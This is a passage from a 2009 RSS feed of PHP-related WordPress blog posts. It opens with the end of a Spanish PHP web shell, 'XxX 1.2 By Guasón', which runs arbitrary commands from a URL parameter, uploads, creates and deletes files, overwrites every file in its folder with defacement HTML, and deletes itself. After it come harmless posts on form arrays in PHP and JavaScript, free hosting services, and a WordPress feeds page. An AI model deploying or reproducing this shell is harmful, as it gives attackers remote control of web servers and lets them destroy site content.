"a:link {color: cyan;}a:visited {color: cyan; text-decoration: none;}a:active {color: cyan; text-decoration: none;}a:hover {color: red; text-decoration: none;}" .<br />
"input,table,textarea,select {font: normal 10px Verdana, Arial, Helvetica, sans-serif;background-color:black;color:cyan; border: solid 1px cyan;}";</p>
<p>echo "</p>
<p>
<h3>EJECUTOR DE COMANDOS</h3>
<p>";<br />
echo "<br /><b>Tu comando</b><br />";<br />
echo "</p>
<p></td>
</tr>
<p>";<br />
echo "</p>
<p>
<tr>
<td>";</p>
<p>if (isset($_GET['cmd'])) {</p>
<p> system($_GET['cmd']);</p>
<p>}<br />
echo "</td>
</tr>
</table>
<p>";</p>
<p>echo '</p>
<h3>Subir un  archivo: </h3>
<p>';</p>
<p>if (isset($HTTP_POST_FILES['userfile'])) {<br />
//tomo el valor de un elemento de tipo texto del formulario</p>
<p>//datos del arhivo<br />
$nombre_archivo = $HTTP_POST_FILES['userfile']['name'];<br />
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];<br />
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];<br />
//compruebo si las características del archivo son las que deseo</p>
<p>    if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo)){<br />
       echo "El archivo ha sido cargado correctamente.";<br />
    }else{<br />
       echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";<br />
    }<br />
}</p>
<p>echo "</p>
<p>";<br />
echo "</p>
<h3>ELIMINAR ARCHIVO</h3>
<p>";<br />
echo "Archivo : </p>
<p>";<br />
echo "</p>
<p>";</p>
<p>if (isset($_REQUEST['file'])) {<br />
$fin = $_REQUEST['file'];<br />
unlink($fin);<br />
}</p>
<p>$nombre = htmlspecialchars(@$_POST['nombre']);<br />
$code = @$_POST['code'];</p>
<p>echo "";<br />
echo "</p>
<p><b><br />
<h3>CREAR ARCHIVO</h3>
<p>";<br />
echo "</p>
<p>Nombre del archivo : </p>
<p>";<br />
echo "</p>
<p>";<br />
echo "</b>";</p>
<p>if (isset($nombre) &#38;&#38; isset($code)) {<br />
$la = fopen($nombre , "w+");<br />
fwrite($la , $code);<br />
fclose($la);<br />
}</p>
<p>$nick = @$_POST['nick'];<br />
$rta = @$_POST['rta'];</p>
<p>echo "";<br />
echo "</p>
<h3>MASIVO DEFACE</h2>
<p>";<br />
echo "</p>
<h3>Inserta el codigo html de tu deface</h5>
<p>";<br />
echo "</p>
<p>";<br />
echo "</p>
<p><b>¿Estas seguro? Pone SI para confirmar </b>&#60;br<br />";<br />
echo "&#60;br<br /></b>";</p>
<p>if (isset($nick) &#38;&#38; isset($rta)) {<br />
$final = "XxX.php";<br />
if ($rta == "SI") {<br />
foreach (glob("*.*") as $nombre_archivo) {<br />
if ($nombre_archivo != $final) {<br />
$solo = fopen ($nombre_archivo , "w+");<br />
$solo = fwrite($solo , $nick);<br />
fclose($solo);<br />
}<br />
}<br />
}<br />
}</p>
<p>$pass = @$_POST['pass'];</p>
<p>echo "</p>
<p>";<br />
echo "</p>
<p>
<h2>AUTODESTRUCCION</h2>
<p>";<br />
echo "";<br />
echo "</p>
<h4>Inserta NO MAS! para autodestruccion</h4>
<p>";<br />
echo "</p>
<p>";</p>
<p>$ok = "NO MAS!";</p>
<p>if (isset($pass)) {<br />
if ($pass == $ok) {<br />
unlink($final);<br />
}<br />
}</p>
<p>echo "</p>
<p>";<br />
echo "</p>
<p>
<h2>XxX 1.2 By Guasón &#124;&#124; 2009</h2>
<p>&#60;br<br />";</p>
<p>?&#62;<br />
</code></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Servidor de Baixo Custo]]></title>
<link>http://winlix.wordpress.com/2009/11/22/servidor-de-baixo-custo/</link>
<pubDate>Sun, 22 Nov 2009 19:10:57 +0000</pubDate>
<dc:creator>André Steigleder</dc:creator>
<guid>http://winlix.wordpress.com/2009/11/22/servidor-de-baixo-custo/</guid>
<description><![CDATA[cpanel, CPANEL, Cpanel, fantastico, Fantástico, fantástico, script. Php,PHP,RVSitesBuilder,  RVSites]]></description>
<content:encoded><![CDATA[cpanel, CPANEL, Cpanel, fantastico, Fantástico, fantástico, script. Php,PHP,RVSitesBuilder,  RVSites]]></content:encoded>
</item>
<item>
<title><![CDATA[Handling array of HTML form Elements in javascript and PHP]]></title>
<link>http://siddanthapu.wordpress.com/2009/11/22/handling-array-of-html-form-elements-in-javascript-and-php/</link>
<pubDate>Sun, 22 Nov 2009 18:44:24 +0000</pubDate>
<dc:creator>dilip12c</dc:creator>
<guid>http://siddanthapu.wordpress.com/2009/11/22/handling-array-of-html-form-elements-in-javascript-and-php/</guid>
<description><![CDATA[Handling array of HTML form Elements in javascript and PHP Today, I would like to share the way of h]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h1><span style="font-size:13px;">Handling array of HTML form Elements in javascript and PHP</span></h1>
<h1><span style="font-weight:normal;font-size:13px;">Today, I would like to share the way of handling array of HTML FORM elements using JavaScript and PHP.Well, it’s very easy to get the data from the array of HTML form elements in PHP and using them but in JavaScript it’s a bit tricky to handle the array of HTML form elements. I had a hard time to handle them via JavaScript in past thats why I’m posting it here so that people will not have hard time to cope with array of form elements in JavaScript and PHP.</span></h1>
<h4>Array of HTML form elements</h4>
<p>You can create the array of Form Elements for grouping the similar kind of object or data. The array of elements are very useful in the context where you don’t know how many similar kind of data user have to enter. For example, you have a form where user have to enter his education qualification then you might not know how many of the textboxes are required for a person and in such kind situation you can dynamically generate array of the elements in the form for entering such kind of information.</p>
<pre>&#60;input name="education[]" type="text" size="20" maxlength="40" /&#62;
&#60;input name="education[]" type="text" size="20" maxlength="40" /&#62;
&#60;input name="education[]" type="text" size="20" maxlength="40" /&#62;
As you can in the above code, there are array element of textbox defined with the name “education”.Now, let’s see how can we handle them via JavaScript and PHP.
<h4>How to handle array of HTML form elements using PHP</h4>
<div>If you submit the the the form with the above the array of elements then you can assess it via array of $_POST['education'] in PHP. You can use foreach() loop to access the value of the value of these form elements via PHP.
<pre>foreach($_POST['education'] as $key=&#62;$value)
 echo $key.' '.$value;</pre>
<p>Normally, posted variable are contained within the POST array but when you post the array of Form Elements then at that time the values are contained within the array of array i.e within $_POST['education'] in above exmaple.</p></div>
<div>How to handle array of Form elements using JavaScript</p>
<h4>Handling the array of Form element part is a bit tricky. Now, let try to access the values of the above elements using JavaScript. First, let’s store the above object in a JavaScript variable</h4>
<pre>var mutli_education = document.form_name.elements["education[]"];</pre>
<p>After storing the object in the variable, we can access the individual variables in the following way in JavaScript</p>
<pre>for(i=0;i&#60;mutli_education.length;i++)
{
 alert(mutli_education[i].value);
}</pre>
<p>As you can see, you can get how many elements are there in the array using the lengh property and you can use the value property to get the value of the indivisual element.</p>
</div>
</pre>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PHP 2]]></title>
<link>http://contrasdiana.wordpress.com/2009/11/22/php-2/</link>
<pubDate>Sun, 22 Nov 2009 15:10:21 +0000</pubDate>
<dc:creator>Contras</dc:creator>
<guid>http://contrasdiana.wordpress.com/2009/11/22/php-2/</guid>
<description><![CDATA[php3]]></description>
<content:encoded><![CDATA[php3]]></content:encoded>
</item>
<item>
<title><![CDATA[Tehnologii?]]></title>
<link>http://pow4ioc.wordpress.com/2009/11/22/tehnologii/</link>
<pubDate>Sun, 22 Nov 2009 14:08:36 +0000</pubDate>
<dc:creator>Frățilă Cătălin Ionuț</dc:creator>
<guid>http://pow4ioc.wordpress.com/2009/11/22/tehnologii/</guid>
<description><![CDATA[Ştiți că tot am discutat despre oportunitățile folosirii unui framework sau de a crea un site de la ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Ştiți că tot am discutat despre oportunitățile folosirii unui framework sau de a crea un site de la zero.</p>
<p>După cum ați observat am ales cea dea doua variantă, pentru că trebuia să învățăm un framework în timp foarte scurt. Deși CodeIgniter era foarte apropiat de ceea ce ne doream noi,  ne trebuiau câteva zile pentru a înțelege MVC-ul(<a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" target="_blank">Model View Controller</a>) asociat.</p>
<p>Oricum, eu unul susțin folosirea framework-urilor PHP, dar în proiecte unde ai timp destul pentru documentarea lor. Dacă nu vă trebuie ceva complicat mai bine folosiți <a href="http://www.joomla.org/" target="_blank">Joomla</a> sau chiar WordPress.</p>
<p>Mai întâi site-ul a fost creat local, unde am folosit pentru APACHE, PHP și MySQL utilitarul <a href="http://www.wampserver.com/en/" target="_blank">WAMP</a> (<strong>W</strong>indows <strong>A</strong>pache <strong>M</strong>ySQL <strong>P</strong>HP), astfel am fost scutiți de a instala cele 3 separat și de modificat fisierele de configurare. Pentru modificari la baza de date am folosit <a href="http://www.phpmyadmin.net/home_page/index.php" target="_blank">phpmyadmin</a>.</p>
<p>Pe site vor începe să apară articole interesante despre unele dintre aceste tehnologii.</p>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:10px;width:1px;height:1px;">http://www.wampserver.com/en/WAMP</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[XML Message Forum in PHP &amp; XML]]></title>
<link>http://leisurehours.wordpress.com/2009/11/22/xml-message-forum-in-php-xml/</link>
<pubDate>Sun, 22 Nov 2009 12:29:28 +0000</pubDate>
<dc:creator>Manoj</dc:creator>
<guid>http://leisurehours.wordpress.com/2009/11/22/xml-message-forum-in-php-xml/</guid>
<description><![CDATA[I had coded this message forum as part of an assignment. This is a really very simple message forum ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I had coded this message forum as part of an assignment. This is a really very simple message forum using only PHP and XML and no database required. It just illustrates the concepts of</p>
<ul>
<li>XML</li>
<li>XSLT</li>
<li>DOM</li>
<li>XPATH</li>
</ul>
<p>You can download this forum <a title="XML Message Forum" href="http://www.box.net/shared/zmlnr62cth" target="_blank">here.</a></p>
<p>It contains a readme.txt file which explains how to use this.</p>
<p>&#160;</p>
<p>&#160;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA["I am so smart, S-M-R-T"]]></title>
<link>http://ebalitski.wordpress.com/2009/11/21/i-am-so-smart-smrt/</link>
<pubDate>Sun, 22 Nov 2009 06:37:57 +0000</pubDate>
<dc:creator>ebalitski</dc:creator>
<guid>http://ebalitski.wordpress.com/2009/11/21/i-am-so-smart-smrt/</guid>
<description><![CDATA[Yes, I finally have some success with the WordPress CMS.  Unfortunately, the theme that Carlos gave ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Yes, I finally have some success with the WordPress CMS.  Unfortunately, the theme that Carlos gave me was for WP 2.6 and seems to be broken for 2.8.  I don&#8217;t know nearly enough PHP to fix a broken theme, I&#8217;ve been having a hard enough time building one that has been stripped down!</p>
<p>But hurray, I&#8217;ve managed to get the container dimensions working and the colour scheme for the most part.  I still have to edit the CSS for the text portions of the pages.  And best of all, I&#8217;ve managed to put in the proper image for the header.php file &#8211; yippee!  This is where I do the happy dance singing &#8220;I am so smart&#8221;!</p>
<p>I&#8217;m so thrilled with my sudden progress today, that I think I&#8217;ll reward myself with a game on Pogo!  LOL!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wordpress en local avec MAMP et Mac OSX]]></title>
<link>http://laurentbourrelly.wordpress.com/2009/11/22/wordpress-en-local-avec-mamp-et-mac-osx/</link>
<pubDate>Sun, 22 Nov 2009 06:20:11 +0000</pubDate>
<dc:creator>laurentbourrelly</dc:creator>
<guid>http://laurentbourrelly.wordpress.com/2009/11/22/wordpress-en-local-avec-mamp-et-mac-osx/</guid>
<description><![CDATA[Il peut être extrêmement utile de travailler en local sur un blog WordPress. Pour adapter un thème, ]]></description>
<content:encoded><![CDATA[Il peut être extrêmement utile de travailler en local sur un blog WordPress. Pour adapter un thème, ]]></content:encoded>
</item>
<item>
<title><![CDATA[Creating a Feeds Page]]></title>
<link>http://justin.wordpress.com/2009/11/22/creating-a-feeds-page/</link>
<pubDate>Sun, 22 Nov 2009 05:50:33 +0000</pubDate>
<dc:creator>Justin</dc:creator>
<guid>http://justin.wordpress.com/2009/11/22/creating-a-feeds-page/</guid>
<description><![CDATA[In this short guide we will create a new page that lists the feeds available on a WordPress blog. It]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In this short guide we will create a new page that lists the feeds available on a WordPress blog. It&#8217;s a simple process and can be a handy overview of what data your site offers.</p>
<p><strong>Step One: Creating a Feeds Template</strong></p>
<p>We will need a template which dynamically outputs our feeds. The easiest way to do this to fit in with the theme you have installed is to make a copy of the page.php template and name it something like feeds.php</p>
<p>Next we will need to give the new template a label. Look for the following snippet of code or something similar at the top and change the label to &#8220;Feeds Page&#8221;. If you do not see it go ahead and add this.</p>
<pre class="brush: php;">/*
Template Name: Feeds Page
*/</pre>
<p>Next we will want to remove the code from this template that generates the page. We will replace it with the code that displays links to the feeds. Remove everything from the start of the WordPress loop to the end:</p>
<p>From</p>
<pre class="brush: php;">&#60;?php if (have_posts()) : while (have_posts()) : the_post(); ?&#62;</pre>
<p>to</p>
<pre class="brush: php;">&#60;?php endwhile; endif; ?&#62;&#62;</pre>
<p>including the edit_post_link function call.</p>
<p>Now we will want to add in some code to display the feeds. I&#8217;ve created some code to get us started which can be demoed on <a href="http://justinshreve.com/blog/feeds/">my personal blog&#8217;s feed page</a>.</p>
<p>The code is</p>
<pre class="brush: php;">&#60;h2&#62;Global Feeds&#60;/h2&#62;

&#60;ul&#62;
&#60;li&#62;&#60;a href=&#34;&#60;?php bloginfo('rss2_url'); ?&#62;&#34; title=&#34;&#60;?php _e('Latest Posts (RSS)'); ?&#62;&#34;&#62;&#60;?php _e('&#60;abbr title=&#34;Really Simple Syndication&#34;&#62;RSS&#60;/abbr&#62;'); ?&#62;&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;&#60;?php bloginfo('atom_url'); ?&#62;&#34; title=&#34;&#60;?php _e('Latest Posts (Atom)'); ?&#62;&#34;&#62;&#60;?php _e('Atom'); ?&#62;&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;&#60;?php bloginfo('comments_rss2_url'); ?&#62;&#34; title=&#34;&#60;?php _e('Latest Comments (RSS)'); ?&#62;&#34;&#62;&#60;?php _e('Comments &#60;abbr title=&#34;Really Simple Syndication&#34;&#62;RSS&#60;/abbr&#62;'); ?&#62;&#60;/a&#62;&#60;/li&#62;
&#60;/ul&#62;

&#60;h2&#62;Feeds by Category&#60;/h2&#62;

&#60;ul&#62;
&#60;?php wp_list_categories('orderby=name&#38;show_count=1&#38;feed=RSS&#38;title_li='); ?&#62;
&#60;/ul&#62;</pre>
<p>The first few lines simply link to the standard feeds: a feed of the latest posts in RSS format, a feed of the posts in ATOM format and a feed of latest comments in RSS format.</p>
<p>The last few lines (wp_list_categories) output some links to the feeds of the categories you have been posting in. You can edit the above code to fit your needs. For example you can set show_count to 0 to remove the amount of posts after the RSS link, or change &#8220;RSS&#8221; to say &#8220;Feed&#8221; instead or you can remove the listing of category feeds all together.</p>
<p>The hard part is now over. We need to let WordPress know we want a specific page for this template. We do this by creating a new page and setting the page template to use our new feeds template.</p>
<p><strong>Step Two: Creating a Page<br />
</strong></p>
<p>Login to the admin control panel and navigate to &#8220;Pages&#8221; and &#8220;Add New&#8221;. Name the page &#8220;Feeds&#8221; or something similar. Leave the content blank and then look to the right for &#8220;Template&#8221; under the attributes box. Click the dropdown and select our new template.</p>
<p><a href="http://justin.wordpress.com/files/2009/11/templatepreview.png"><img class="alignnone size-full wp-image-8" title="templatepreview" src="http://justin.wordpress.com/files/2009/11/templatepreview.png" alt="" width="277" height="164" /></a></p>
<p>Once you publish the page and click the view button a beautiful new feed template should be displayed.</p>
<p><strong>Closing</strong></p>
<p>That&#8217;s it! Enjoy! This method can be adapted for other dynamic pages you may want to create and is employed by things like a custom archives page or a new dynamic home page. Let me know if this tutorial was useful or if you are using it on your own blog!</p>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:0;width:1px;height:1px;">
<pre>&#60;ul&#62;
&#60;?php
wp_list_categories('orderby=name&#38;show_count=1&#38;feed=RSS'); ?&#62;W
&#60;/ul&#62;
</pre>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hospedagem gratuita para sites com suporte PHP e Mysql]]></title>
<link>http://cristianopalharini.wordpress.com/2009/11/22/hospedagem-gratuita-para-sites-com-suporte-php-e-mysql/</link>
<pubDate>Sun, 22 Nov 2009 05:15:11 +0000</pubDate>
<dc:creator>cristianopalharini</dc:creator>
<guid>http://cristianopalharini.wordpress.com/2009/11/22/hospedagem-gratuita-para-sites-com-suporte-php-e-mysql/</guid>
<description><![CDATA[O  000webhost é um dos muitos serviços de hospedagem gratuítos oferecidos na web, com a vantagem de ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>O  <strong>000webhost</strong> é um dos muitos serviços de hospedagem gratuítos oferecidos na web, com a vantagem de usar PHP e MySQL e não exibir banner ou links de propaganda indesejados.</p>
<p>Possui vários recursos úteis, tais como Gerenciador de arquivos via Browser, Gerenciador de Backup, Instalador de aplicativos, Webmail, etc, todos organizados em um CPanel (Painel de Controle so Site) bem organizado.</p>
<p>Ao criar a conta é possível usar um subdomínio (seusite.890m.com ou seusite.comoj.com) ou um domínio próprio (.com, por exemplo).</p>
<p>Alguns dos recursos disponíveis:</p>
<ul>
<li>PHP;</li>
<li>5 bancos MySQL;</li>
<li>1.5 GB disponíveis de espaço;</li>
<li>Banda para tráfego mensal de 100GB;</li>
<li>Webmail;</li>
<li>Gerenciador de Contas de Email;</li>
<li>Gerenciador de Backup;</li>
<li>Gerenciador de Arquivos;</li>
<li>CPanel (pode gerenciar mais de um site);</li>
<li>Autoinstalador Fantastico de aplicativos (WordPress, Drupal,  Joomla, etc);</li>
<li>Templates para Sites;</li>
<li>Website Builder (cria site);</li>
<li>Permite criar até 3 domínios;</li>
<li>Entre outros recursos interessantes.</li>
</ul>
<p>Acesse o Link: <strong><a href="http://www.000webhost.com/" target="_blank">http://www.000webhost.com/</a></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&#160;</p>
<p>O segundo servidor de Hospedagem Gratuita a ser comentado é o <strong>Sqweebs</strong>, ele oferece <strong>20 Gb de espaço em disco</strong> para armazenamento de arquivos, o maior dos servidores testados até agora, suporte a PHP/MySQL, instalador de aplicativos (WordPress, Joomla, etc) e não exibe propaganda forçada.</p>
<p><strong>Obs.:</strong> Utilizar esse tipo de serviço não é aconselhável para sites de lojas, empresas ou até mesmo “blogs profissionais”.  O barato pode sair caro, correndo-se o risco do servidor cancelar sua conta ou sair do ar a qualquer momento.</p>
<p><strong>Pontos Positivos ( + ):</strong></p>
<ul>
<li>20 Gb de espaço em disco;</li>
<li>300 Gb de Largura de Banda;</li>
<li>Suporte a PHP/MySQL;</li>
<li>Permite até 99 Base de Dados MySQL;</li>
<li>Instalador de Aplicativos;</li>
<li>Possui um Criador de Sites com vários templates prontos;</li>
<li>O Painel de Controle é simples porém funcional;</li>
<li>Permite usar domínio próprio do tipo seunome.com (caso já exista);</li>
</ul>
<p><strong>Pontos Negativos ( – ):</strong></p>
<ul>
<li>Apenas 3 usuários MySQL;</li>
<li>Apenas 1 usuário FTP;</li>
<li>O serviços de envio de email (SENDMAIL) não está ativo;</li>
<li>Painel de Controle em inglês.</li>
</ul>
<p>Ao se cadastrar poderá usar um subdomínio gratuito como seunome.sqweebs.com ou um domínio próprio seunome.com (adquirido anteriormente).</p>
<p>Acesse e confira esse serviço: <a title="Link para o Sqweebs" href="http://www.sqweebs.com/" target="_blank"><strong>http://www.sqweebs.com</strong></a></p>
<p><strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</strong></p>
<p>O terceiro servidor de Hospedagem Gratuita a ser comentado é o <strong>Free-Web-Host</strong>, o site dele e nome parecem um pouco estranhos, mas até o momento é um dos melhores servidores testados. Oferece <strong>3 Gb de espaço em disco</strong>, <strong>Largura de Banda ILIMITADA</strong>, <strong>Base de Dados MySQL ILIMITADA</strong>, suporte a PHP/MySQL, CPanel em Português, instalador de aplicativos (WordPress, Joomla, etc), etc. A única desvantagem é que exibe uma discreta propaganda de texto no final da página, que dependendo do caso nem se percebe.</p>
<p><strong>Obs.:</strong> Utilizar esse tipo de serviço não é aconselhável para sites de lojas, empresas ou até mesmo “blogs profissionais”. O barato pode sair caro, correndo-se o risco do servidor cancelar sua conta ou sair do ar a qualquer momento.</p>
<p><strong>Pontos Positivos ( + ):</strong></p>
<ul>
<li>3 Gb de espaço em disco;</li>
<li> Largura de Banda ILIMITADA;</li>
<li>Quantidade de Base de Dados MySQL ILIMITADA;</li>
<li>Dominios e Subdominios ILIMITADOS;</li>
<li>Suporte a PHP/MySQL;</li>
<li>Instalador de Aplicativos;</li>
<li>CPanel em Português;</li>
<li>Permite usar domínio próprio do tipo seusite.com (caso já exista);</li>
<li>PHP mail() e SendMail liberados;</li>
</ul>
<p><strong>Pontos Negativos ( – ):</strong></p>
<ul>
<li>Exibe uma proganda de texto no final de cada página.</li>
</ul>
<p><strong>Exemplo de Site utilizando esse servidor:</strong> <a href="http://www.shopping.guianf.com/" target="_blank"><strong>http://www.shopping.guianf.com</strong></a></p>
<p>Ao se cadastrar poderá usar um subdomínio gratuito como seusite.200u.com ou um domínio próprio seusite.com (adquirido anteriormente).</p>
<p><strong>Confira esse serviço:</strong> <a title="Link para o Free Web Host Me" href="http://www.free-web-host.me/" target="_blank"><strong>http://www.free-web-host.me</strong></a></p>
<p><strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong></p>
<p><strong>Fonte: fabriciosilva.wordpress.com</strong></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Where are you from?]]></title>
<link>http://hihong.wordpress.com/2009/11/22/where-are-you-from/</link>
<pubDate>Sun, 22 Nov 2009 04:51:25 +0000</pubDate>
<dc:creator>hihong</dc:creator>
<guid>http://hihong.wordpress.com/2009/11/22/where-are-you-from/</guid>
<description><![CDATA[$_SERVER['HTTP_REFERER'] Get the head info.]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div>
<div>$_SERVER['HTTP_REFERER']</div>
<div>Get the head info.</div>
</div>
</div>]]></content:encoded>
</item>

</channel>
</rss>
